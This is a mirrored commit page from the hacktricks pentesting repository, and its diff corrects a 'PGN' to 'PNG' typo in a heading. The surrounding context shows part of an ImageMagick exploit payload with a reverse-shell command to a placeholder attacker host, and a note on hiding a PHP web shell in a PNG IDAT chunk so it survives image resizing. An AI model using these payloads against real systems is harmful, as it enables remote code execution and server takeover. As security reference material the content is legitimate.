mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Update README.md
This commit is contained in:
parent
bf7d416a2a
commit
6515b29ce4
1 changed files with 1 additions and 1 deletions
|
@ -241,7 +241,7 @@ fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-p
|
||||||
pop graphic-context
|
pop graphic-context
|
||||||
```
|
```
|
||||||
|
|
||||||
## Embedding PHP Shell on PGN
|
## Embedding PHP Shell on PNG
|
||||||
|
|
||||||
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue